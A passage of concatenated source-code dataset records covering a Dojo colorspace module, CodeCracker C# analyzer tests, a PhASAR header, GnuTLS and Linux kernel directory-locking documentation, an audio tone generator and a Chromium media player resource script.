!kwArgs.source){\n\t\t\tconsole.error(\"dojox.color.Colorspace::adapt: color and source arguments are required. \", kwArgs);\n\t\t}\n\n\t\t//\tdefaults\n\t\tkwArgs=dojo.mixin({\n\t\t\tadaptor:\"Bradford\",\n\t\t\tdestination:\"D65\"\n\t\t}, kwArgs);\n\n\t\t//\tadapt\n\t\tvar swp = this.whitepoint(kwArgs.source);\n\t\tvar dwp = this.whitepoint(kwArgs.destination);\n\t\tif(adaptors[kwArgs.adaptor]){\n\t\t\tvar ma=adaptors[kwArgs.adaptor].ma;\n\t\t\tvar mai=adaptors[kwArgs.adaptor].mai;\n\t\t}else{\n\t\t\tconsole.warn(\"dojox.color.Colorspace::adapt: the passed adaptor '\", kwArgs.adaptor, \"' was not found.\");\n\t\t}\n\t\tvar dSrc=dxm.multiply([[swp.x, swp.y, swp.z]], ma);\n\t\tvar dDest=dxm.multiply([[dwp.x, dwp.y, dwp.z]], ma);\n\t\tvar center=[\n\t\t\t[dDest[0][0]/dSrc[0][0], 0, 0],\n\t\t\t[0, dDest[0][1]/dSrc[0][1], 0],\n\t\t\t[0, 0, dDest[0][2]/dSrc[0][2]]\n\t\t];\n\t\tvar m=dxm.multiply(dxm.multiply(ma, center), mai);\n\t\tvar r=dxm.multiply([[ kwArgs.color.X, kwArgs.color.Y, kwArgs.color.Z ]], m)[0];\n\t\treturn { X:r[0], Y:r[1], Z:r[2] };\n\t};\n\n\tthis.matrix=function(/* String */to, /* Object */primary){\n\t\tvar p=primary, wp=this.whitepoint(p.whitepoint);\n\t\tvar Xr = p.xr/p.yr, Yr = 1, Zr = (1-p.xr-p.yr)/p.yr;\n\t\tvar Xg = p.xg/p.yg, Yg = 1, Zg = (1-p.xg-p.yg)/p.yg;\n\t\tvar Xb = p.xb/p.yb, Yb = 1, Zb = (1-p.xb-p.yb)/p.yb;\n\n\t\tvar m1 = [[ Xr, Yr, Zr ], [ Xg, Yg, Zg ], [ Xb, Yb, Zb ]];\n\t\tvar m2 = [[ wp.X, wp.Y, wp.Z ]];\n\t\tvar sm = dxm.multiply(m2, dxm.inverse(m1));\n\t\tvar Sr = sm[0][0], Sg = sm[0][1], Sb = sm[0][2];\n\t\tvar result=[\n\t\t\t[Sr*Xr, Sr*Yr, Sr*Zr],\n\t\t\t[Sg*Xg, Sg*Yg, Sg*Zg],\n\t\t\t[Sb*Xb, Sb*Yb, Sb*Zb]\n\t\t];\n\t\tif(to==\"RGB\"){ return dxm.inverse(result); }\n\t\treturn result;\n\t};\n\n\tthis.epsilon=function(/* bool? */useApprox){\n\t\treturn (useApprox || typeof(useApprox)==\"undefined\")? 0.008856: 216/24289;\n\t};\n\tthis.kappa=function(/* bool? */useApprox){\n\t\treturn (useApprox || typeof(useApprox)==\"undefined\")? 903.3: 24389/27;\n\t};\n\n\tthis.convert=function(/* Object */color, /* string */from, /* string */to, /* Object? */kwArgs){\n\t\tif(converters[from] && converters[from][to]){\n\t\t\treturn converters[from][to](color, kwArgs);\n\t\t}\n\t\tconsole.warn(\"dojox.color.Colorspace::convert: Can't convert \", color, \" from \", from, \" to \", to, \".\");\n\t};\n})();\n\n//\tMore dojox.color and dojox.color.Color extensions\ndojo.mixin(dojox.color, {\n\tfromXYZ: function(/* Object */xyz, /* Object?*/kwArgs){\n\t\tkwArgs=kwArgs||{};\n\t\tvar p=dojox.color.Colorspace.primaries(kwArgs);\n\t\tvar m=dojox.color.Colorspace.matrix(\"RGB\", p);\n\t\tvar rgb=dojox.math.matrix.multiply([[ xyz.X, xyz.Y, xyz.Z ]], m);\n\t\tvar r=rgb[0][0], g=rgb[0][1], b=rgb[0][2];\n\t\tif(p.profile==\"sRGB\"){\n\t\t\tvar R = (r>0.0031308)?(1.055*Math.pow(r, 1/2.4))-0.055: 12.92*r;\n\t\t\tvar G = (g>0.0031308)?(1.055*Math.pow(g, 1/2.4))-0.055: 12.92*g;\n\t\t\tvar B = (b>0.0031308)?(1.055*Math.pow(b, 1/2.4))-0.055: 12.92*b;\n\t\t}else{\n\t\t\tvar R=Math.pow(r, 1/p.gamma), G=Math.pow(g, 1/p.gamma), B=Math.pow(b, 1/p.gamma);\n\t\t}\n\t\treturn new dojox.color.Color({ r:Math.floor(R*255), g:Math.floor(G*255), b:Math.floor(B*255) });\n\t}\n});\n\ndojo.extend(dojox.color.Color, {\n\ttoXYZ: function(/* Object */kwArgs){\n\t\tkwArgs=kwArgs||{};\n\t\tvar p=dojox.color.Colorspace.primaries(kwArgs);\n\t\tvar m=dojox.color.Colorspace.matrix(\"XYZ\", p);\n\t\tvar _r=this.r/255, _g=this.g/255, _b=this.b/255;\n\t\tif(p.profile==\"sRGB\"){\n\t\t\tvar r=(_r>0.04045) ? Math.pow(((_r+0.055)/1.055), 2.4):_r/12.92;\n\t\t\tvar g=(_g>0.04045) ? Math.pow(((_g+0.055)/1.055), 2.4):_g/12.92;\n\t\t\tvar b=(_b>0.04045) ? Math.pow(((_b+0.055)/1.055), 2.4):_b/12.92;\n\t\t} else {\n\t\t\tvar r=Math.pow(_r, p.gamma), g=Math.pow(_g, p.gamma), b=Math.pow(_b, p.gamma);\n\t\t}\n\t\tvar xyz=dojox.math.matrix([[ r, g, b ]], m);\n\t\treturn { X: xyz[0][0], Y: xyz[0][1], Z: xyz[0][2] };\t//\tObject\n\t}\n});\n\nreturn dojox.color.Colorspace;\n});\n"} +{"text": "#%Module\nsetenv ts [module-info loaded extdfl2/3.1]\n"} +{"text": "using CodeCracker.CSharp.Style;\nusing Microsoft.CodeAnalysis;\nusing Microsoft.CodeAnalysis.Testing;\nusing System.Threading.Tasks;\nusing Xunit;\n\nnamespace CodeCracker.Test.CSharp.Style\n{\n public class InterfaceNameTests : CodeFixVerifier\n {\n [Fact]\n public async Task InterfaceNameStartsWithLetterI()\n {\n const string source = @\"\n namespace ConsoleApplication1\n {\n public interface IFoo\n {\n void Test();\n }\n }\";\n await VerifyCSharpHasNoDiagnosticsAsync(source);\n }\n\n [Fact]\n public async Task InterfaceNameNotStartsWithLetterI()\n {\n const string source = @\"\n namespace ConsoleApplication1\n {\n public interface Foo\n {\n void Test();\n }\n }\";\n var expected = new DiagnosticResult(DiagnosticId.InterfaceName.ToDiagnosticId(), DiagnosticSeverity.Info)\n .WithLocation(4, 9)\n .WithMessage(InterfaceNameAnalyzer.MessageFormat);\n await VerifyCSharpDiagnosticAsync(source, expected);\n }\n\n [Fact]\n public async Task ChangeInterfaceNameWithoutI()\n {\n const string source = @\"\n namespace ConsoleApplication1\n {\n public interface Foo\n {\n void Test();\n }\n }\";\n const string fixtest = @\"\n namespace ConsoleApplication1\n {\n public interface IFoo\n {\n void Test();\n }\n }\";\n await VerifyCSharpFixAsync(source, fixtest);\n }\n\n\n [Fact]\n public async Task ChangeInterfaceNameWithoutIAndClassImplementation()\n {\n const string source = @\"\n namespace ConsoleApplication1\n {\n public interface Foo\n {\n void Test();\n }\n\n public class Test : Foo\n {\n public void Test()\n {\n\n }\n }\n }\";\n const string fixtest = @\"\n namespace ConsoleApplication1\n {\n public interface IFoo\n {\n void Test();\n }\n\n public class Test : IFoo\n {\n public void Test()\n {\n\n }\n }\n }\";\n await VerifyCSharpFixAsync(source, fixtest);\n }\n\n [Fact]\n public async Task ChangeAllInterfaceNamesWithoutI()\n {\n const string source1 = @\"\n namespace ConsoleApplication1\n {\n public interface Foo1\n {\n void Test();\n }\n }\";\n const string source2 = @\"\n namespace ConsoleApplication2\n {\n public interface Foo2\n {\n void Test();\n }\n }\";\n const string fixtest1 = @\"\n namespace ConsoleApplication1\n {\n public interface IFoo1\n {\n void Test();\n }\n }\";\n const string fixtest2 = @\"\n namespace ConsoleApplication2\n {\n public interface IFoo2\n {\n void Test();\n }\n }\";\n await VerifyCSharpFixAllAsync(new string[] { source1, source2 }, new string[] { fixtest1, fixtest2 });\n }\n\n\n [Fact]\n public async Task ChangeAllInterfaceNamesWithoutIAndClassImplementation()\n {\n const string source1 = @\"\n using ConsoleApplication2;\n namespace ConsoleApplication1\n {\n public interface Foo2\n {\n void Test();\n }\n\n public class Test1 : Foo1\n {\n public void Test()\n {\n\n }\n }\n }\";\n const string source2 = @\"\n using ConsoleApplication1;\n namespace ConsoleApplication2\n {\n public interface Foo1\n {\n void Test();\n }\n\n public class Test2 : Foo2\n {\n public void Test()\n {\n\n }\n }\n }\";\n const string fixtest1 = @\"\n using ConsoleApplication2;\n namespace ConsoleApplication1\n {\n public interface IFoo2\n {\n void Test();\n }\n\n public class Test1 : IFoo1\n {\n public void Test()\n {\n\n }\n }\n }\";\n const string fixtest2 = @\"\n using ConsoleApplication1;\n namespace ConsoleApplication2\n {\n public interface IFoo1\n {\n void Test();\n }\n\n public class Test2 : IFoo2\n {\n public void Test()\n {\n\n }\n }\n }\";\n await VerifyCSharpFixAllAsync(new string[] { source1, source2 }, new string[] { fixtest1, fixtest2 });\n }\n }\n}"} +{"text": "/******************************************************************************\n * Copyright (c) 2017 Philipp Schubert.\n * All rights reserved. This program and the accompanying materials are made\n * available under the terms of LICENSE.txt.\n *\n * Contributors:\n * Philipp Schubert and others\n *****************************************************************************/\n\n#ifndef PHASAR_PHASARLLVM_IFDSIDE_PROBLEMS_IFDSSIGNANALYSIS_H_\n#define PHASAR_PHASARLLVM_IFDSIDE_PROBLEMS_IFDSSIGNANALYSIS_H_\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"phasar/PhasarLLVM/DataFlowSolver/IfdsIde/IFDSTabulationProblem.h\"\n#include \"phasar/PhasarLLVM/Domain/AnalysisDomain.h\"\n\nnamespace llvm {\nclass Instruction;\nclass Function;\nclass StructType;\nclass Value;\n} // namespace llvm\n\nnamespace psr {\n\nclass LLVMBasedICFG;\nclass LLVMTypeHierarchy;\nclass LLVMPointsToInfo;\n\nclass IFDSSignAnalysis\n : public IFDSTabulationProblem {\npublic:\n IFDSSignAnalysis(const ProjectIRDB *IRDB, const LLVMTypeHierarchy *TH,\n const LLVMBasedICFG *ICF, LLVMPointsToInfo *PT,\n std::set EntryPoints = {\"main\"});\n\n ~IFDSSignAnalysis() override = default;\n\n FlowFunctionPtrType getNormalFlowFunction(n_t curr, n_t succ) override;\n\n FlowFunctionPtrType getCallFlowFunction(n_t callStmt, f_t destFun) override;\n\n FlowFunctionPtrType getRetFlowFunction(n_t callSite, f_t calleeFun,\n n_t exitStmt, n_t retSite) override;\n\n FlowFunctionPtrType getCallToRetFlowFunction(n_t callSite, n_t retSite,\n std::set callees) override;\n\n FlowFunctionPtrType getSummaryFlowFunction(n_t callStmt,\n f_t destFun) override;\n\n std::map> initialSeeds() override;\n\n d_t createZeroValue() const override;\n\n bool isZeroValue(d_t d) const override;\n\n void printNode(std::ostream &os, n_t n) const override;\n\n void printDataFlowFact(std::ostream &os, d_t d) const override;\n\n void printFunction(std::ostream &os, f_t m) const override;\n};\n\n} // namespace psr\n\n#endif\n"} +{"text": "\n\n@c gnutls_privkey_type_t\n@table @code\n@item GNUTLS_@-PRIVKEY_@-X509\nX.509 private key, @code{gnutls_x509_privkey_t} .\n@item GNUTLS_@-PRIVKEY_@-OPENPGP\nOpenPGP private key, @code{gnutls_openpgp_privkey_t} .\n@item GNUTLS_@-PRIVKEY_@-PKCS11\nPKCS11 private key, @code{gnutls_pkcs11_privkey_t} .\n@item GNUTLS_@-PRIVKEY_@-EXT\nExternal private key, operating using callbacks.\n@end table\n"} +{"text": "=================\nDirectory Locking\n=================\n\n\nLocking scheme used for directory operations is based on two\nkinds of locks - per-inode (->i_rwsem) and per-filesystem\n(->s_vfs_rename_mutex).\n\nWhen taking the i_rwsem on multiple non-directory objects, we\nalways acquire the locks in order by increasing address. We'll call\nthat \"inode pointer\" order in the following.\n\nFor our purposes all operations fall in 5 classes:\n\n1) read access. Locking rules: caller locks directory we are accessing.\nThe lock is taken shared.\n\n2) object creation. Locking rules: same as above, but the lock is taken\nexclusive.\n\n3) object removal. Locking rules: caller locks parent, finds victim,\nlocks victim and calls the method. Locks are exclusive.\n\n4) rename() that is _not_ cross-directory. Locking rules: caller locks\nthe parent and finds source and target. In case of exchange (with\nRENAME_EXCHANGE in flags argument) lock both. In any case,\nif the target already exists, lock it. If the source is a non-directory,\nlock it. If we need to lock both, lock them in inode pointer order.\nThen call the method. All locks are exclusive.\nNB: we might get away with locking the the source (and target in exchange\ncase) shared.\n\n5) link creation. Locking rules:\n\n\t* lock parent\n\t* check that source is not a directory\n\t* lock source\n\t* call the method.\n\nAll locks are exclusive.\n\n6) cross-directory rename. The trickiest in the whole bunch. Locking\nrules:\n\n\t* lock the filesystem\n\t* lock parents in \"ancestors first\" order.\n\t* find source and target.\n\t* if old parent is equal to or is a descendent of target\n\t fail with -ENOTEMPTY\n\t* if new parent is equal to or is a descendent of source\n\t fail with -ELOOP\n\t* If it's an exchange, lock both the source and the target.\n\t* If the target exists, lock it. If the source is a non-directory,\n\t lock it. If we need to lock both, do so in inode pointer order.\n\t* call the method.\n\nAll ->i_rwsem are taken exclusive. Again, we might get away with locking\nthe the source (and target in exchange case) shared.\n\nThe rules above obviously guarantee that all directories that are going to be\nread, modified or removed by method will be locked by caller.\n\n\nIf no directory is its own ancestor, the scheme above is deadlock-free.\n\nProof:\n\n\tFirst of all, at any moment we have a partial ordering of the\n\tobjects - A < B iff A is an ancestor of B.\n\n\tThat ordering can change. However, the following is true:\n\n(1) if object removal or non-cross-directory rename holds lock on A and\n attempts to acquire lock on B, A will remain the parent of B until we\n acquire the lock on B. (Proof: only cross-directory rename can change\n the parent of object and it would have to lock the parent).\n\n(2) if cross-directory rename holds the lock on filesystem, order will not\n change until rename acquires all locks. (Proof: other cross-directory\n renames will be blocked on filesystem lock and we don't start changing\n the order until we had acquired all locks).\n\n(3) locks on non-directory objects are acquired only after locks on\n directory objects, and are acquired in inode pointer order.\n (Proof: all operations but renames take lock on at most one\n non-directory object, except renames, which take locks on source and\n target in inode pointer order in the case they are not directories.)\n\nNow consider the minimal deadlock. Each process is blocked on\nattempt to acquire some lock and already holds at least one lock. Let's\nconsider the set of contended locks. First of all, filesystem lock is\nnot contended, since any process blocked on it is not holding any locks.\nThus all processes are blocked on ->i_rwsem.\n\nBy (3), any process holding a non-directory lock can only be\nwaiting on another non-directory lock with a larger address. Therefore\nthe process holding the \"largest\" such lock can always make progress, and\nnon-directory objects are not included in the set of contended locks.\n\nThus link creation can't be a part of deadlock - it can't be\nblocked on source and it means that it doesn't hold any locks.\n\nAny contended object is either held by cross-directory rename or\nhas a child that is also contended. Indeed, suppose that it is held by\noperation other than cross-directory rename. Then the lock this operation\nis blocked on belongs to child of that object due to (1).\n\nIt means that one of the operations is cross-directory rename.\nOtherwise the set of contended objects would be infinite - each of them\nwould have a contended child and we had assumed that no object is its\nown descendent. Moreover, there is exactly one cross-directory rename\n(see above).\n\nConsider the object blocking the cross-directory rename. One\nof its descendents is locked by cross-directory rename (otherwise we\nwould again have an infinite set of contended objects). But that\nmeans that cross-directory rename is taking locks out of order. Due\nto (2) the order hadn't changed since we had acquired filesystem lock.\nBut locking rules for cross-directory rename guarantee that we do not\ntry to acquire lock on descendent before the lock on ancestor.\nContradiction. I.e. deadlock is impossible. Q.E.D.\n\n\nThese operations are guaranteed to avoid loop creation. Indeed,\nthe only operation that could introduce loops is cross-directory rename.\nSince the only new (parent, child) pair added by rename() is (new parent,\nsource), such loop would have to contain these objects and the rest of it\nwould have to exist before rename(). I.e. at the moment of loop creation\nrename() responsible for that would be holding filesystem lock and new parent\nwould have to be equal to or a descendent of source. But that means that\nnew parent had been equal to or a descendent of source since the moment when\nwe had acquired filesystem lock and rename() would fail with -ELOOP in that\ncase.\n\nWhile this locking scheme works for arbitrary DAGs, it relies on\nability to check that directory is a descendent of another object. Current\nimplementation assumes that directory graph is a tree. This assumption is\nalso preserved by all operations (cross-directory rename on a tree that would\nnot introduce a cycle will leave it a tree and link() fails for directories).\n\nNotice that \"directory\" in the above == \"anything that might have\nchildren\", so if we are going to introduce hybrid objects we will need\neither to make sure that link(2) doesn't work for them or to make changes\nin is_subdir() that would make it work even in presence of such beasts.\n"} +{"text": "-\n"} +{"text": "/*\n * Copyright (C) 2013 Sergey Kosarevsky (sk@linderdaum.com)\n * Copyright (C) 2013 Viktor Latypov (vl@linderdaum.com)\n * Based on Linderdaum Engine http://www.linderdaum.com\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must display the names 'Sergey Kosarevsky' and\n * 'Viktor Latypov'in the credits of the application, if such credits exist.\n * The authors of this work must be notified via email (sk@linderdaum.com) in\n * this case of redistribution.\n *\n * 3. Neither the name of copyright holders nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS\n * IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n#pragma once\n\n#include \"StreamingProviders.h\"\n\n#include \n#include \n\n/// Streaming monotone wave generator\nclass ToneGenerator : public StreamingWaveDataProvider\n{\npublic:\n\tToneGenerator()\n\t{\n\t\tFBufferUsed = 100000;\n\t\tFBuffer.resize( 100000 );\n\n\t\tFChannels = 2;\n\t\tFSamplesPerSec = 44100;\n\t\tFBitsPerSample = 16;\n\n\t\tFAmplitude = 350.0f;\n\t\tFFrequency = 440.0f;\n\t}\n\tvirtual ~ToneGenerator() {}\n\n\tvirtual int StreamWaveData( int Size )\n\t{\n\t\tif ( Size > static_cast( FBuffer.size() ) )\n\t\t{\n\t\t\tFBuffer.resize( Size );\n\t\t\tLastOffset = 0;\n\t\t}\n\n\t\tfor ( int i = 0 ; i < Size / 4 ; i++ )\n\t\t{\n\t\t\tfloat t = ( 2.0f * 3.141592654f * FFrequency * ( i + LastOffset ) ) / ( float )FSamplesPerSec;\n\t\t\tfloat val = FAmplitude * std::sin( t );\n\n\t\t\tshort V = static_cast( val );\n\t\t\tFBuffer[i * 4 + 0] = V & 0xFF;\n\t\t\tFBuffer[i * 4 + 1] = V >> 8;\n\t\t\tFBuffer[i * 4 + 2] = V & 0xFF;\n\t\t\tFBuffer[i * 4 + 3] = V >> 8;\n\t\t}\n\n\t\tLastOffset += Size / 2;\n\t\tLastOffset %= FSamplesPerSec;\n\n\t\treturn ( FBufferUsed = Size );\n\t}\n\n\tint FSignalFreq;\n\tfloat FFrequency;\n\tfloat FAmplitude;\nprivate:\n\tint LastOffset;\n};\n"} +{"text": "// Microsoft Visual C++ generated resource script.\n//\n#include \"resource.h\"\n\n#define APSTUDIO_READONLY_SYMBOLS\n/////////////////////////////////////////////////////////////////////////////\n//\n// Generated from the TEXTINCLUDE 2 resource.\n//\n#include \"../third_party/wtl/include/atlres.h\"\n/////////////////////////////////////////////////////////////////////////////\n#undef APSTUDIO_READONLY_SYMBOLS\n\n/////////////////////////////////////////////////////////////////////////////\n// English (U.S.) resources\n\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\n#ifdef _WIN32\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US\n#pragma code_page(1252)\n#endif //_WIN32\n\n#ifdef APSTUDIO_INVOKED\n/////////////////////////////////////////////////////////////////////////////\n//\n// TEXTINCLUDE\n//\n\n1 TEXTINCLUDE\nBEGIN\n \"resource.h\\0\"\nEND\n\n2 TEXTINCLUDE\nBEGIN\n \"#include \"\"../third_party/wtl/include/atlres.h\\0\"\nEND\n\n3 TEXTINCLUDE\nBEGIN\n \"\\0\"\nEND\n\n#endif // APSTUDIO_INVOKED\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Toolbar\n//\n\nIDR_MAINFRAME4 TOOLBAR 16, 15\nBEGIN\n BUTTON ID_PLAY_PLAY_PAUSE\n SEPARATOR\n BUTTON ID_FILE_OPEN\n BUTTON ID_RECENT_BTN\n SEPARATOR\n BUTTON ID_FILE_PRINT\n BUTTON ID_FILE_PRINT_PREVIEW\n BUTTON ID_FILE_PAGE_SETUP\n SEPARATOR\n BUTTON ID_EDIT_COPY\n BUTTON ID_EDIT_PASTE\n BUTTON ID_EDIT_CLEAR\n SEPARATOR\n BUTTON ID_VIEW_PROPERTIES\n BUTTON ID_APP_ABOUT\nEND\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Bitmap\n//\n\nIDR_MAINFRAME4 BITMAP \"Toolbar.bmp\"\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Menu\n//\n\nIDR_MAINFRAME MENU\nBEGIN\n POPUP \"&File\"\n BEGIN\n MENUITEM \"&Open...\\tCtrl+O\", ID_FILE_OPEN\n MENUITEM SEPARATOR\n MENUITEM \"&Print...\\tCtrl+P\", ID_FILE_PRINT\n MENUITEM \"Print Pre&view\", ID_FILE_PRINT_PREVIEW\n MENUITEM \"Pa&ge Setup...\", ID_FILE_PAGE_SETUP\n MENUITEM SEPARATOR\n POPUP \"Recent &Files\"\n BEGIN\n MENUITEM \"(empty)\", ID_FILE_MRU_FILE1\n END\n MENUITEM \"&Last...\\tCtrl+L\", ID_FILE_LAST\n MENUITEM SEPARATOR\n MENUITEM \"E&xit\", ID_APP_EXIT\n END\n POPUP \"&Edit\"\n BEGIN\n MENUITEM \"&Copy\\tCtrl+C\", ID_EDIT_COPY\n MENUITEM \"&Paste\\tCtrl+V\", ID_EDIT_PASTE\n MENUITEM \"Cl&ear\\tCTRL+F4\", ID_EDIT_CLEAR\n END\n POPUP \"&View\"\n BEGIN\n MENUITEM \"&Quarter Size\\tCtrl+9\", ID_VIEW_QUARTERSIZE\n MENUITEM \"&Half Size\\tCtrl+0\", ID_VIEW_HALFSIZE\n MENUITEM \"&Normal Size\\tCtrl+1\", ID_VIEW_NORMALSIZE\n MENUITEM \"&Double Size\\tCtrl+2\", ID_VIEW_DOUBLESIZE\n MENUITEM \"Triple Size\\tCtrl+3\", ID_VIEW_TRIPLESIZE\n MENUITEM \"Quadruple Size\\tCtrl+4\", ID_VIEW_QUADRUPLESIZE\n MENUITEM \"Fit to Screen\", ID_VIEW_FITTOSCREEN\n MENUITEM \"Full Screen\", ID_VIEW_FULLSCREEN\n MENUITEM SEPARATOR\n MENUITEM \"&Toolbar\", ID_VIEW_TOOLBAR\n MENUITEM \"&Status Bar\", ID_VIEW_STATUS_BAR\n MENUITEM SEPARATOR\n MENUITEM \"N&o Rotation\", ID_VIEW_ROTATE0\n MENUITEM \"Rotate &90\", ID_VIEW_ROTATE90\n MENUITEM \"Rotate &180\", ID_VIEW_ROTATE180\n MENUITEM \"Rotate &270\", ID_VIEW_ROTATE270\n MENUITEM \"&Filter\\tCtrl+F\", ID_VIEW_FILTER\n MENUITEM \"&Mirror Horizontally\", ID_VIEW_MIRROR_HORIZONTAL\n MENUITEM \"Mirror &Vertically\", ID_VIEW_MIRROR_VERTICAL\n MENUITEM SEPARATOR\n MENUITEM \"&Properties\", ID_VIEW_PROPERTIES\n END\n POPUP \"&Play\"\n BEGIN\n MENUITEM \"&Play/Pause\\tSpace\", ID_PLAY_PLAY_PAUSE\n MENUITEM \"Skip &Forward\\tRight Arrow\", ID_PLAY_STEP_FORWARD\n MENUITEM \"Skip &Backward\\tLeft Arrow\", ID_PLAY_STEP_BACKWARD\n MENUITEM \"G&oto Start\\tHome\", ID_PLAY_GOTO_START\n MENUITEM \"Goto &End\\tEnd\", ID_PLAY_GOTO_END\n MENUITEM \"&Goto Frame\\tCtrl+G\", ID_PLAY_GOTO_FRAME\n MENUITEM SEPARATOR\n MENUITEM \"&Half Speed\\tAlt+0\", ID_PLAY_HALFSPEED\n MENUITEM \"&Normal Speed\\tAlt+1\", ID_PLAY_NORMALSPEED\n MENUITEM \"&Double Speed\\tAlt+2\", ID_PLAY_DOUBLESPEED\n MENUITEM \"&Triple Speed\\tAlt+3\", ID_PLAY_TRIPLESPEED\n MENUITEM \"&Quadruple Speed\\tAlt+4\", ID_PLAY_QUADRUPLESPEED\n MENUITEM \"&Eight Times Speed\\tAlt+5\", ID_PLAY_EIGHTSPEED\n MENUITEM \"&Sixteen Times Speed\\tAlt+6\", ID_PLAY_SIXTEENSPEED\n END\n POPUP \"&Options\"\n BEGIN\n MENUITEM \"&Exit at End of Movie\", ID_OPTIONS_EXIT\n MENUITEM \"Draw\", ID_OPTIONS_DRAW\n MENUITEM \"Audio\", ID_OPTIONS_AUDIO\n MENUITEM \"Dump YUV File\", ID_OPTIONS_DUMPYUVFILE\n END\n POPUP \"&Help\"\n BEGIN\n MENUITEM \"&About Media Player...\", ID_APP_ABOUT\n END\nEND\n\nIDR_CONTEXTMENU MENU\nBEGIN\n POPUP \"\"\n BEGIN\n MENUITEM \"&Copy\\tCtrl+C\", ID_EDIT_COPY\n MENUITEM \"&Paste\\tCtrl+V\", ID_EDIT_PASTE\n MENUITEM \"Cl&ear\", ID_EDIT_CLEAR\n MENUITEM SEPARATOR\n MENUITEM \"&Properties\", ID_VIEW_PROPERTIES\n END\nEND\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Icon\n//\n\n// Icon with lowest ID value placed first to ensure application icon\n// remains consistent on all systems.\nIDR_MAINFRAME3 ICON \"player_wtl.ico\"\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Dialog\n//\n\nIDD_ABOUTBOX DIALOGEX 0, 0, 185, 126\nSTYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU\nCAPTION \"About\"\nFONT 8, \"MS Sans Serif\", 0, 0, 0x0\nBEGIN\n DEFPUSHBUTTON \"OK\",IDOK,121,97,50,14\n CTEXT \"Media Player\\n\\nAugust 11, 2009\\n\\nCopyright (c) 2009 The Chromium Authors.\\nAll rights reserved.\",IDC_STATIC,7,43,171,49\n ICON IDR_MAINFRAME3,IDC_STATIC,80,17,20,20\n GROUPBOX \"\",IDC_STATIC,7,7,171,112\nEND\n\nIDD_PROP_PAGE1 DIALOGEX 0, 0, 212, 114\nSTYLE DS_SETFONT | WS_CHILD | WS_CAPTION\nCAPTION \"Movie\"\nFONT 8, \"MS Sans Serif\", 0, 0, 0x0\nBEGIN\n LTEXT \"Location:\",IDC_STATIC,5,20,30,8\n LTEXT \"Size:\",IDC_STATIC,5,34,16,8\n LTEXT \"Created:\",IDC_STATIC,5,65,28,8\n LTEXT \"Attributes:\",IDC_STATIC,5,81,32,8\n LTEXT \"Static\",IDC_FILESIZE,40,34,170,8\n LTEXT \"Static\",IDC_FILEDATE,40,65,165,8\n LTEXT \"Static\",IDC_FILEATTRIB,40,81,170,8\n LTEXT \"Static\",IDC_FILELOCATION,40,20,170,8,SS_NOTIFY\n LTEXT \"Duration:\",IDC_STATIC,5,49,30,8\n LTEXT \"Static\",IDC_FILEDURATION,40,50,170,8\nEND\n\nIDD_PROP_PAGE2 DIALOGEX 0, 0, 212, 114\nSTYLE DS_SETFONT | WS_CHILD | WS_CAPTION\nCAPTION \"Frame\"\nFONT 8, \"MS Sans Serif\", 0, 0, 0x0\nBEGIN\n LTEXT \"Type:\",IDC_STATIC,15,10,80,8\n LTEXT \"Static\",IDC_TYPE,100,10,105,8\n LTEXT \"Width:\",IDC_STATIC,15,25,80,8\n LTEXT \"Static\",IDC_WIDTH,100,25,105,8\n LTEXT \"Height:\",IDC_STATIC,15,40,80,8\n LTEXT \"Static\",IDC_HEIGHT,100,40,105,8\n LTEXT \"Horizontal Resolution:\",IDC_STATIC,15,55,80,8\n LTEXT \"Static\",IDC_HORRES,100,55,105,8\n LTEXT \"Vertical Resolution:\",IDC_STATIC,15,70,80,8\n LTEXT \"Static\",IDC_VERTRES,100,70,105,8\n LTEXT \"Bit Depth:\",IDC_STATIC,15,85,80,8\n LTEXT \"Static\",IDC_BITDEPTH,100,85,105,8\n LTEXT \"Compression:\",IDC_STATIC,15,100,80,8\n LTEXT \"Static\",IDC_COMPRESSION,100,100,105,8\nEND\n\nIDD_PROP_PAGE3 DIALOGEX 0, 0, 212, 114\nSTYLE DS_SETFONT | WS_CHILD | WS_CAPTION\nCAPTION \"Screen\"\nFONT 8, \"MS Sans Serif\", 0, 0, 0x0\nBEGIN\n LTEXT \"Width:\",IDC_STATIC,15,25,80,8\n LTEXT \"Static\",IDC_WIDTH,100,25,105,8\n LTEXT \"Height:\",IDC_STATIC,15,40,80,8\n LTEXT \"Static\",IDC_HEIGHT,100,40,105,8\n LTEXT \"Horizontal DPI:\",IDC_STATIC,15,55,80,8\n LTEXT \"Static\",IDC_HORRES,100,55,105,8\n LTEXT \"Vertical DPI:\",IDC_STATIC,15,70,80,8\n LTEXT \"Static\",IDC_VERTRES,100,70,105,8\n LTEXT \"Bit Depth:\",IDC_STATIC,15,85,80,8\n LTEXT 